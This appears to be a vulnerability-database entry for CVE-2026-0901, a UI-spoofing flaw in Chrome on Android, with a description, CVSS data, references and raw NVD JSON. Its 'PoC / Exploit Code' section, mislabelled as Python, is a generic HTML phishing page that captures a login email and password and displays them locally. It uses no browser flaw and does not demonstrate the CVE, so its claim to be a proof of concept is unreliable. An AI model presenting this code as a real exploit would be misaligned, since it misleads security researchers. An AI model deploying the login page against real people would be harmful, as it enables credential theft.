CVE-2026-0901

Description

Inappropriate implementation in Blink in Google Chrome on Android prior to 144.0.7559.59 allowed a remote attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome on Android < 144.0.7559.59

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2026-0901 PoC: UI Spoofing in Google Chrome on Android -->
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>UI Spoofing PoC - CVE-2026-0901</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }
        .spoofed-interface {
            background: white;
            border-radius: 20px;
            padding: 40px;
            max-width: 400px;
            width: 100%;
            box-shadow: 0 20px 60px rgba(0,0,0,0.3);
        }
        .header {
            background: #4285f4;
            color: white;
            padding: 15px 20px;
            margin: -40px -40px 20px -40px;
            border-radius: 20px 20px 0 0;
            font-weight: bold;
            font-size: 18px;
        }
        .input-group {
            margin-bottom: 20px;
        }
        .input-group label {
            display: block;
            margin-bottom: 8px;
            color: #333;
            font-weight: 500;
        }
        .input-group input {
            width: 100%;
            padding: 12px;
            border: 2px solid #e0e0e0;
            border-radius: 10px;
            font-size: 16px;
            transition: border-color 0.3s;
        }
        .input-group input:focus {
            outline: none;
            border-color: #4285f4;
        }
        .submit-btn {
            width: 100%;
            padding: 15px;
            background: #4285f4;
            color: white;
            border: none;
            border-radius: 10px;
            font-size: 18px;
            font-weight: bold;
            cursor: pointer;
            transition: background 0.3s;
        }
        .submit-btn:hover {
            background: #3367d6;
        }
        .warning {
            background: #fff3cd;
            border: 1px solid #ffc107;
            color: #856404;
            padding: 15px;
            border-radius: 10px;
            margin-top: 20px;
            font-size: 14px;
        }
        .hidden-malicious {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0,0,0,0.8);
            justify-content: center;
            align-items: center;
            z-index: 9999;
        }
        .malicious-content {
            background: white;
            padding: 30px;
            border-radius: 15px;
            text-align: center;
        }
    </style>
</head>
<body>
    <div class="spoofed-interface">
        <div class="header">🔐 Secure Login Portal</div>
        <h2 style="margin-bottom: 20px; color: #333;">Welcome Back</h2>
        <form id="loginForm">
            <div class="input-group">
                <label for="email">Email Address</label>
                <input type="email" id="email" name="email" placeholder="Enter your email" required>
            </div>
            <div class="input-group">
                <label for="password">Password</label>
                <input type="password" id="password" name="password" placeholder="Enter your password" required>
            </div>
            <button type="submit" class="submit-btn">Sign In</button>
        </form>
        <div class="warning">
            ⚠️ This is a demonstration of UI Spoofing vulnerability (CVE-2026-0901). In a real attack, this interface could be used to steal credentials.
        </div>
    </div>

    <div class="hidden-malicious" id="maliciousOverlay">
        <div class="malicious-content">
            <h3>⚠️ Credentials Captured!</h3>
            <p id="capturedData"></p>
        </div>
    </div>

    <script>
        document.getElementById('loginForm').addEventListener('submit', function(e) {
            e.preventDefault();
            const email = document.getElementById('email').value;
            const password = document.getElementById('password').value;
            
            // Display captured credentials (in real attack, these would be exfiltrated)
            document.getElementById('capturedData').innerHTML = 
                'Email: ' + email + '<br>Password: ' + password;
            document.getElementById('maliciousOverlay').style.display = 'flex';
            
            console.log('CVE-2026-0901 PoC - UI Spoofing demonstration');
            console.log('Captured credentials:', { email: email, password: password });
        });
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-0901
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-0901
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-0901/
[4] VulDB https://vuldb.com/cve/CVE-2026-0901
[5] https://chromereleases.googleblog.com/2026/01/stable-channel-update-for-desktop_13.html
[6] https://issues.chromium.org/issues/40057499

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-0901", "sourceIdentifier": "[email protected]", "published": "2026-01-20T05:16:15.510", "lastModified": "2026-01-30T16:28:25.950", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inappropriate implementation in Blink in Google Chrome on Android prior to 144.0.7559.59 allowed a remote attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: High)"}, {"lang": "es", "value": "Implementación inapropiada en Blink en Google Chrome en Android anterior a 144.0.7559.59 permitió a un atacante remoto realizar suplantación de UI mediante una página HTML manipulada. (Gravedad de seguridad de Chromium: Alta)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-451"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "144.0.7559.59", "matchCriteriaId": "7322229C-61DF-4A91-9816-F7796F9AABCD"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/01/stable-channel-update-for-desktop_13.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/40057499", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}